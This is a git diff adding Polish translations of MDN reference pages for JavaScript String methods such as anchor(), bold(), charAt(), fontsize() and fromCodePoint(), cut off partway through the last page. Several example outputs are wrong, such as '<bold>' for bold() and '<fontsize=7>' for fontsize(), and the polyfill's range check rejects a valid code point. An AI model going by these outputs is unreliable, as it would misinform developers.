+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("javascript.builtins.Set.delete")}}</p>
+
+<p> </p>
+
+<div id="compat-desktop"> </div>
+
+<div id="compat-mobile"> </div>
+
+<h2 id="Zobacz_również">Zobacz również</h2>
+
+<ul>
+ <li>{{jsxref("Set")}}</li>
+ <li>{{jsxref("Set.prototype.clear()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/string/anchor/index.html b/files/pl/web/javascript/referencje/obiekty/string/anchor/index.html
new file mode 100644
index 0000000000..737c385889
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/string/anchor/index.html
@@ -0,0 +1,56 @@
+---
+title: String.prototype.anchor()
+slug: Web/JavaScript/Referencje/Obiekty/String/anchor
+tags:
+ - JavaScript
+ - Method
+ - Prototype
+ - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/anchor
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Tworzy kotwicę HTML {{HTMLElement("a")}} do użycia jako cel odnośnika.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>str</var>.anchor(<var>name</var>)</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>Łańcuch znaków.</dd>
+</dl>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Use the <code>anchor()</code> method to programmatically create and display an anchor in a document.</p>
+
+<p>W składni łańcuch znaków reprezentuje literał tekstowy, który ma zobaczyć użytkownik. Łańcuch <code>name</code> reprezentuje atrybut <code>name</code> znacznika <code>a</code>.</p>
+
+<p>Kotwice stworzone za pomocą metody <code>anchor</code> stają się elementami tablicy <code>document.anchors</code>.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_anchor" name="Przyk.C5.82ad:_Zastosowanie_anchor">Przykład: Zastosowanie <code>anchor()</code></h3>
+
+<p>Następujący przykład wewnątrz kodu HTML elementu <code>script</code>:</p>
+
+<pre class="brush: js">var myString = "Tabela zawartości";
+
+document.body.innerHTML = myString.anchor("contents_anchor");
+</pre>
+
+<p>spowoduje otrzymanie na wyjściu kodu HTML:</p>
+
+<pre class="brush: js">&lt;a name="contents_anchor"&gt;Tabela zawartości&lt;/a&gt;
+</pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.link()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/string/big/index.html b/files/pl/web/javascript/referencje/obiekty/string/big/index.html
new file mode 100644
index 0000000000..62914dfa9c
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/string/big/index.html
@@ -0,0 +1,43 @@
+---
+title: String.prototype.big()
+slug: Web/JavaScript/Referencje/Obiekty/String/big
+tags:
+ - Deprecated
+ - JavaScript
+ - Method
+ - Prototype
+ - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/big
+---
+<div>{{JSRef}} {{deprecated_header}}</div>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Powoduje, iż łańcuch znaków zostanie wyświetlony jakby znajdował się wewnątrz znacznika {{HTMLElement("big")}}.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>str</var>.big()</code></pre>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>The <code>big()</code> method embeds a string in a <code>&lt;big&gt;</code> tag: <code>"&lt;big&gt;str&lt;/big&gt;"</code>.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_big" name="Przyk.C5.82ad:_Zastosowanie_big">Przykład: Zastosowanie <code>big()</code></h3>
+
+<p>Następujący przykład stosuje metodę string do zmiany rozmiaru łańcucha znaków:</p>
+
+<pre class="brush: js">var worldString = "Witaj, Świecie";
+
+console.log(worldString.small())<code class="language-js"><span class="token punctuation">;</span> <span class="token comment"> // </span></code>&lt;small&gt;Witaj, Świecie&lt;/small&gt;
+console.log(worldString.big()); // &lt;big&gt;Witaj, Świecie&lt;/big&gt;
+console.log(worldString.fontsize(7)); // &lt;fontsize=7&gt;Witaj, Świecie&lt;/fontsize&gt;</pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.fontsize()")}}</li>
+ <li>{{jsxref("String.prototype.small()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/string/blink/index.html b/files/pl/web/javascript/referencje/obiekty/string/blink/index.html
new file mode 100644
index 0000000000..056dbc3792
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/string/blink/index.html
@@ -0,0 +1,50 @@
+---
+title: String.prototype.blink()
+slug: Web/JavaScript/Referencje/Obiekty/String/blink
+tags:
+ - Deprecated
+ - JavaScript
+ - Method
+ - Prototype
+ - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/blink
+---
+<div>{{JSRef}} {{deprecated_header}}</div>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Powoduje, iż łańcuch będzie migotał tak, jakby był on wewnątrz znacznika {{HTMLElement("blink")}}.</p>
+
+<div class="warning">
+<p><strong>Warning:</strong> Blinking text is frowned upon by several accessibility standards. The <code>&lt;blink&gt;</code> element itself is non-standard and deprecated!</p>
+</div>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>str</var>.blink()</code></pre>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>The <code>blink()</code> method embeds a string in a <code>&lt;blink&gt;</code> tag: <code>"&lt;blink&gt;str&lt;/blink&gt;"</code>.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_metody_string_do_zmiany_formatowania_.C5.82a.C5.84cucha_znak.C3.B3w" name="Przyk.C5.82ad:_Zastosowanie_metody_string_do_zmiany_formatowania_.C5.82a.C5.84cucha_znak.C3.B3w">Przykład: Zastosowanie <code>blink()</code></h3>
+
+<p>Następujący przykład stosuje metodę string do zmiany formatowania łańcucha znaków:</p>
+
+<pre class="brush: js">var worldString="Witaj, Świecie";
+
+console.log(worldString.blink()); // &lt;blink&gt;Witaj, Świecie&lt;/blink&gt;
+console.log(worldString.bold()); // &lt;bold&gt;Witaj, Świecie&lt;/bold&gt;
+console.log(worldString.italics()); // &lt;i&gt;Witaj, Świecie&lt;/i&gt;
+console.log(worldString.strike()); // &lt;s&gt;Witaj, Świecie&lt;/s&gt;
+</pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.bold()")}}</li>
+ <li>{{jsxref("String.prototype.italics()")}}</li>
+ <li>{{jsxref("String.prototype.strike()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/string/bold/index.html b/files/pl/web/javascript/referencje/obiekty/string/bold/index.html
new file mode 100644
index 0000000000..0708d5799e
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/string/bold/index.html
@@ -0,0 +1,45 @@
+---
+title: String.prototype.bold()
+slug: Web/JavaScript/Referencje/Obiekty/String/bold
+tags:
+ - Deprecated
+ - JavaScript
+ - Method
+ - Prototype
+ - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/bold
+---
+<p>{{JSRef}}{{deprecated_header}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Powoduje wyświetlenie łańcucha znaków jako pogrubienia, jakby był w znaczniku {{HTMLElement("b")}}.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>str</var>.bold()</code></pre>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>The <code>bold()</code> method embeds a string in a <code>&lt;b&gt;</code> tag: <code>"&lt;b&gt;str&lt;/b&gt;"</code>.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h4 id="Przyk.C5.82ad:_Zastosowanie_metody_string_do_zmiany_rozmiaru_.C5.82a.C5.84cucha_znak.C3.B3w" name="Przyk.C5.82ad:_Zastosowanie_metody_string_do_zmiany_rozmiaru_.C5.82a.C5.84cucha_znak.C3.B3w">Przykład: Zastosowanie <strong><code>bold()</code></strong></h4>
+
+<p>Następujący przykład stosuje metodę string do zmiany rozmiaru łańcucha znaków:</p>
+
+<pre class="brush: js">var worldString="Witaj, Świecie";
+
+console.log(worldString.blink()); // &lt;blink&gt;Witaj, Świecie&lt;/blink&gt;
+console.log(worldString.bold()); // &lt;bold&gt;Witaj, Świecie&lt;/bold&gt;
+console.log(worldString.italics()); // &lt;i&gt;Witaj, Świecie&lt;/i&gt;
+console.log(worldString.strike()); // &lt;s&gt;Witaj, Świecie&lt;/s&gt;</pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.blink()")}}</li>
+ <li>{{jsxref("String.prototype.italics()")}}</li>
+ <li>{{jsxref("String.prototype.strike()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/string/charat/index.html b/files/pl/web/javascript/referencje/obiekty/string/charat/index.html
new file mode 100644
index 0000000000..30ce5303c2
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/string/charat/index.html
@@ -0,0 +1,68 @@
+---
+title: String.prototype.charAt()
+slug: Web/JavaScript/Referencje/Obiekty/String/charAt
+tags:
+ - JavaScript
+ - Method
+ - Prototype
+ - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/charAt
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Zwraca określony znak z łańcucha znaków.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>str</var>.charAt(<var>index</var>)</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>index</code> </dt>
+ <dd>Liczba całkowita z przedziału od 0 do liczby o 1 mniejszej od długości łańcucha.</dd>
+</dl>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Znaki w łańcuchu znaków są indeksowane od lewej do prawej strony. Indeksem pierwszego znaku jest 0, a indeksem ostatniego znaku w łańcuchu znaków o nazwie <code>stringName</code> jest <code>stringName.length - 1</code>. Jeśli dostarczona wartość parametru <code>index</code> znajduje się poza zakresem, JavaScript zwróci pusty łańcuch znaków.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Wy.C5.9Bwietlanie_r.C3.B3.C5.BCnych_znak.C3.B3w_z_okre.C5.9Blonego_.C5.82a.C5.84cucha_znak.C3.B3w" name="Przyk.C5.82ad:_Wy.C5.9Bwietlanie_r.C3.B3.C5.BCnych_znak.C3.B3w_z_okre.C5.9Blonego_.C5.82a.C5.84cucha_znak.C3.B3w">Przykład: Wyświetlanie różnych znaków z określonego łańcucha znaków</h3>
+
+<p>Poniższy przykład wyświetla różne znaki łańcucha "<code>Brave new world</code>":</p>
+
+<pre class="brush: js">var anyString="Brave new world";
+
+console.log("Znakiem o indeksie 0 jest '" + anyString.charAt(0) + "'");
+console.log("Znakiem o indeksie 1 jest '" + anyString.charAt(1) + "'");
+console.log("Znakiem o indeksie 2 jest '" + anyString.charAt(2) + "'");
+console.log("Znakiem o indeksie 3 jest '" + anyString.charAt(3) + "'");
+console.log("Znakiem o indeksie 4 jest '" + anyString.charAt(4) + "'");
+console.log("Znakiem o indeksie 999 jest '" + anyString.charAt(999) + "'");
+</pre>
+
+<p>Powyższy kod wyświetli:</p>
+
+<pre>Znakiem o indeksie 0 jest 'B'
+Znakiem o indeksie 1 jest 'r'
+Znakiem o indeksie 2 jest 'a'
+Znakiem o indeksie 3 jest 'v'
+Znakiem o indeksie 4 jest 'e'
+Znakiem o indeksie 999 jest ''
+</pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.indexOf()")}}</li>
+ <li>{{jsxref("String.prototype.lastIndexOf()")}}</li>
+ <li>{{jsxref("String.prototype.charCodeAt()")}}</li>
+ <li>{{jsxref("String.prototype.codePointAt()")}}</li>
+ <li>{{jsxref("String.prototype.split()")}}</li>
+ <li>{{jsxref("String.fromCodePoint()")}}</li>
+ <li><a href="https://mathiasbynens.be/notes/javascript-unicode">JavaScript has a Unicode problem – Mathias Bynens</a></li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/string/charcodeat/index.html b/files/pl/web/javascript/referencje/obiekty/string/charcodeat/index.html
new file mode 100644
index 0000000000..21c7822f12
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/string/charcodeat/index.html
@@ -0,0 +1,42 @@
+---
+title: String.prototype.charCodeAt()
+slug: Web/JavaScript/Referencje/Obiekty/String/charCodeAt
+tags:
+ - JavaScript
+ - Method
+ - Prototype
+ - String
+ - Unicode
+translation_of: Web/JavaScript/Reference/Global_Objects/String/charCodeAt
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Zwraca liczbę oznaczającą wartość Unicode znaku o podanym indeksie.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>str</var>.charCodeAt(<var>index</var>)</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>index</code> </dt>
+ <dd>Liczba całkowita z przedziału od 0 do liczby o 1 mniejszej od długości łańcucha.</dd>
+</dl>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Wartości Unicode mieszczą się w zakresie od 0 do 65535. Pierwsze 128 wartości Unicode jest takie same jak w zbiorze znaków ASCII. Aby dowiedzieć się więcej o Unicode, zobacz <a href="/pl/docs/Web/JavaScript/Guide/Grammar_and_types#Unicode">Przewodnik po języku JavaScript</a>.</p>
+
+<p>Zgodność wsteczna: JavaScript 1.2 — Metoda <code>charCodeAt</code> zwraca liczbę wskazującą wartość ze zbioru kodowania ISO-Latin-1 znaku o podanym indeksie. Zbiór kodowania ISO-Latin-1 posiada zakres od 0 do 255. Znaki od 0 do 127 są identyczne, co te w zbiorze znaków ASCII.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_charCodeAt" name="Przyk.C5.82ad:_Zastosowanie_charCodeAt">Przykład: Zastosowanie <code>charCodeAt()</code></h3>
+
+<p>Następujący przykład zwróci 65, wartość A w Unicode.</p>
+
+<pre class="brush: js">"ABC".charCodeAt(0); // zwróci 65
+</pre>
diff --git a/files/pl/web/javascript/referencje/obiekty/string/concat/index.html b/files/pl/web/javascript/referencje/obiekty/string/concat/index.html
new file mode 100644
index 0000000000..b4361f0fd7
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/string/concat/index.html
@@ -0,0 +1,44 @@
+---
+title: String.prototype.concat()
+slug: Web/JavaScript/Referencje/Obiekty/String/concat
+tags:
+ - JavaScript
+ - Method
+ - Prototype
+ - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/concat
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Łączy tekst dwóch lub więcej łańcuchów znaków i zwraca nowy łańcuch.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>str</var>.concat(<var>string2</var>, <var>string3</var>[, ..., <var>stringN</var>])</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>string2...string
+ <i>N</i>
+ </code> </dt>
+ <dd>Łańcuchy znaków mające być dołączone do tego łańcucha.</dd>
+</dl>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p><code>concat()</code> łączy tekst jednego lub więcej łańcuchów znaków i zwraca nowy łańcuch znaków. Zmiana tekstu w jednym łańcuchu znaków nie ma wpływu na drugi łańcuch.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_concat" name="Przyk.C5.82ad:_Zastosowanie_concat">Przykład: Zastosowanie <code>concat()</code></h3>
+
+<p>Następujący przykład łączy łańcuchy znaków w nowy łańcuch znaków.</p>
+
+<pre class="brush: js">var s1="Och, ";
+var s2="jaki piękny ";
+var s3="poranek.";
+var s4=s1.concat(s2,s3); // zwraca "Och, jaki piękny poranek."
+</pre>
diff --git a/files/pl/web/javascript/referencje/obiekty/string/fontcolor/index.html b/files/pl/web/javascript/referencje/obiekty/string/fontcolor/index.html
new file mode 100644
index 0000000000..0cc7fa1ccc
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/string/fontcolor/index.html
@@ -0,0 +1,50 @@
+---
+title: String.prototype.fontcolor()
+slug: Web/JavaScript/Referencje/Obiekty/String/fontcolor
+tags:
+ - Deprecated
+ - JavaScript
+ - Method
+ - Prototype
+ - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/fontcolor
+---
+<div>{{JSRef}} {{deprecated_header}}</div>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Powoduje, iż łańcuch zostanie wyświetlony podanym kolorem tak jakby był wewnątrz znacznika {{HTMLElement("font")}}.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>str</var>.fontcolor(<var>color</var>)</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>color</code> </dt>
+ <dd>Łańcuch znaków wyrażający kolor jako trójka heksadecymalna RGB lub jako łańcuch znaków. Lista nazw w postaci łańcucha znaków dla kolorów jest dostępna w <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5">przewodniku po języku JavaScript 1.5</a>.</dd>
+</dl>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Jeśli wyrażamy kolor w postaci trójki heksadecymalnej RGB, to musisz zastosować format <code>rrggbb</code>. Na przykład, wartość heksadecymalna koloru łososiowego składa się z red=FA, green=80 i blue=72, więc trójka RGB dla łososiowego będzie miała wartość "<code>FA8072</code>".</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_fontcolor" name="Przyk.C5.82ad:_Zastosowanie_fontcolor">Przykład: Zastosowanie <code>fontcolor()</code></h3>
+
+<p>Następujący przykład stosuje metodę <code>string</code> do zmiany koloru łańcucha znaków:</p>
+
+<pre class="brush: js">var worldString="Witaj, Świecie";
+
+console.log(worldString.fontcolor("red") + " jest koloru czerwonego w tej linii");
+// &lt;font color="red"&gt;Witaj, Świecie&lt;/font&gt; jest koloru czerwonego w tej linii
+
+console.log(worldString.fontcolor("FF00") +" linia jest czerwona i podany kolor heksadecymalny");
+// &lt;font color="FF00"&gt;Witaj, Świecie&lt;/font&gt; linia jest czerwona i podany kolor heksadecymalny
+</pre>
+
+<div class="noinclude"> </div>
+
+<p> </p>
diff --git a/files/pl/web/javascript/referencje/obiekty/string/fontsize/index.html b/files/pl/web/javascript/referencje/obiekty/string/fontsize/index.html
new file mode 100644
index 0000000000..3de3c5bb4c
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/string/fontsize/index.html
@@ -0,0 +1,48 @@
+---
+title: String.prototype.fontsize()
+slug: Web/JavaScript/Referencje/Obiekty/String/fontsize
+tags:
+ - Deprecated
+ - JavaScript
+ - Method
+ - Prototype
+ - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/fontsize
+---
+<p>{{JSRef}}{{ Non-standard_header() }}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Powoduje wyświetlenie łańcucha znaków w określonym rozmiarze czcionki, tak jak to było w znaczniku {{HTMLElement("font")}}.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>str</var>.fontsize(<var>size</var>)</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>size</code> </dt>
+ <dd>Liczba całkowita pomiędzy 1 a 7, łańcuch znaków reprezentujący rozmiar znaku liczby całkowitej między 1 a 7.</dd>
+</dl>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Kiedy określisz rozmiar jako liczbę całkowitą, ustaw rozmiar <code>stringName</code> na jeden z 7 innych rozmiarów. Kiedy określisz <code>size</code> łańcucha znaków jako "-2", to dostosujesz rozmiar czcionki <code>stringName</code> relatywnie do rozmiaru jaki został ustawiony w znaczniku {{HTMLElement("basefont")}}.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_metody_string_do_zmiany_rozmiaru_.C5.82a.C5.84cucha_znak.C3.B3w" name="Przyk.C5.82ad:_Zastosowanie_metody_string_do_zmiany_rozmiaru_.C5.82a.C5.84cucha_znak.C3.B3w">Przykład: Zastosowanie <strong><code>fontsize()</code></strong></h3>
+
+<pre class="brush: js language-js"><code class="language-js"><span class="token keyword">var</span> worldString <span class="token operator">=</span> <span class="token string">"Witaj, Świecie"</span><span class="token punctuation">;</span>
+
+console<span class="token punctuation">.</span><span class="token function">log<span class="token punctuation">(</span></span>worldString<span class="token punctuation">.</span><span class="token function">small<span class="token punctuation">(</span></span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment"> // &lt;small&gt;Witaj, Świecie&lt;/small&gt;
+</span>console<span class="token punctuation">.</span><span class="token function">log<span class="token punctuation">(</span></span>worldString<span class="token punctuation">.</span><span class="token function">big<span class="token punctuation">(</span></span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment"> // &lt;big&gt;Witaj, Świecie&lt;/big&gt;
+</span>console<span class="token punctuation">.</span><span class="token function">log<span class="token punctuation">(</span></span>worldString<span class="token punctuation">.</span><span class="token function">fontsize<span class="token punctuation">(</span></span><span class="token number">7</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment"> // &lt;fontsize=7&gt;Witaj, Świecie&lt;/fontsize&gt;</span></code></pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.big()")}}</li>
+ <li>{{jsxref("String.prototype.small()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/string/fromcharcode/index.html b/files/pl/web/javascript/referencje/obiekty/string/fromcharcode/index.html
new file mode 100644
index 0000000000..7d00613db2
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/string/fromcharcode/index.html
@@ -0,0 +1,50 @@
+---
+title: String.fromCharCode()
+slug: Web/JavaScript/Referencje/Obiekty/String/fromCharCode
+tags:
+ - JavaScript
+ - Method
+ - String
+ - Unicode
+translation_of: Web/JavaScript/Reference/Global_Objects/String/fromCharCode
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Zwraca łańcuch znaków stworzony przez podaną sekwencję kodów Unicode.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code>String.fromCharCode(<var>num1</var>[, ...[, <var>numN</var>]])</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>num1, ..., num<em>N</em> </code> </dt>
+ <dd>Sekwencja liczb, które są wartościami Unicode.</dd>
+</dl>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Ta metoda zwraca łańcuch znaków nie będący {{jsxref("String")}}.</p>
+
+<p>Ponieważ <code>fromCharCode()</code> jest metodą statyczną {{jsxref("String")}}, używaj ją zawsze jako <code>String.fromCharCode()</code>, a nie jako metodę obiektu {{jsxref("String")}}.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_fromCharCode" name="Przyk.C5.82ad:_Zastosowanie_fromCharCode">Przykład: Zastosowanie <code>fromCharCode()</code></h3>
+
+<p>Następujący przykład zwraca łańcuch znaków <code>"ABC"</code>.</p>
+
+<pre class="brush: js">String.fromCharCode(65,66,67); // "ABC"
+</pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("String.fromCodePoint()")}}</li>
+ <li>{{jsxref("String.prototype.charAt()")}}</li>
+ <li>{{jsxref("String.prototype.charCodeAt()")}}</li>
+ <li>{{jsxref("String.prototype.codePointAt()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/string/fromcodepoint/index.html b/files/pl/web/javascript/referencje/obiekty/string/fromcodepoint/index.html
new file mode 100644
index 0000000000..a8c17af7f1
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/string/fromcodepoint/index.html
@@ -0,0 +1,149 @@
+---
+title: String.fromCodePoint()
+slug: Web/JavaScript/Referencje/Obiekty/String/fromCodePoint
+translation_of: Web/JavaScript/Reference/Global_Objects/String/fromCodePoint
+---
+<div>{{JSRef}}</div>
+
+<p>The static <strong><code>String.fromCodePoint()</code></strong> method returns a string created by using the specified sequence of code points.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/string-fromcodepoint.html","shorter")}}</div>
+
+
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox notranslate">String<code>.fromCodePoint(<var>num1</var>[, ...[, <var>numN</var>]])</code></pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code><var>num1</var>, ..., <var>numN</var></code></dt>
+ <dd>A sequence of code points.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>A string created by using the specified sequence of code points.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<ul>
+ <li>A {{jsxref("Errors/Not_a_codepoint", "RangeError")}} is thrown if an invalid Unicode code point is given (e.g. <code>"RangeError: NaN is not a valid code point"</code>).</li>
+</ul>
+
+<h2 id="Description">Description</h2>
+
+<p>This method returns a string (and <em>not</em> a {{jsxref("String")}} object).</p>
+
+<p>Because <code>fromCodePoint()</code> is a static method of {{jsxref("String")}}, you must call it as <code>String.fromCodePoint()</code>, rather than as a method of a {{jsxref("String")}} object you created.</p>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>The <code>String.fromCodePoint()</code> method has been added to ECMAScript 2015 and may not be supported in all web browsers or environments yet.</p>
+
+<p>Use the code below for a polyfill:</p>
+
+<pre class="brush: js notranslate">if (!String.fromCodePoint) (function(stringFromCharCode) {
+    var fromCodePoint = function(_) {
+      var codeUnits = [], codeLen = 0, result = "";
+      for (var index=0, len = arguments.length; index !== len; ++index) {
+        var codePoint = +arguments[index];
+  // correctly handles all cases including `NaN`, `-Infinity`, `+Infinity`
+  // The surrounding `!(...)` is required to correctly handle `NaN` cases
+  // The (codePoint&gt;&gt;&gt;0) === codePoint clause handles decimals and negatives
+        if (!(codePoint &lt; 0x10FFFF &amp;&amp; (codePoint&gt;&gt;&gt;0) === codePoint))
+          throw RangeError("Invalid code point: " + codePoint);
+        if (codePoint &lt;= 0xFFFF) { // BMP code point
+          codeLen = codeUnits.push(codePoint);
+        } else { // Astral code point; split in surrogate halves
+          // https://mathiasbynens.be/notes/javascript-encoding#surrogate-formulae
+          codePoint -= 0x10000;
+          codeLen = codeUnits.push(
+  (codePoint &gt;&gt; 10) + 0xD800, // highSurrogate
+  (codePoint % 0x400) + 0xDC00 // lowSurrogate
+  );
+        }
+        if (codeLen &gt;= 0x3fff) {
+          result += stringFromCharCode.apply(null, codeUnits);
+          codeUnits.length = 0;
+        }
+      }
+      return result + stringFromCharCode.apply(null, codeUnits);
+    };
+    try { // IE 8 only supports `Object.defineProperty` on DOM elements
+      Object.defineProperty(String, "fromCodePoint", {
+        "value": fromCodePoint, "configurable": true, "writable": true
+      });
+    } catch(e) {
+      String.fromCodePoint = fromCodePoint;
+    }
+}(String.fromCharCode));
+</pre>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_fromCodePoint">Using <code>fromCodePoint()</code></h3>
+
+<p>Valid input:</p>
+
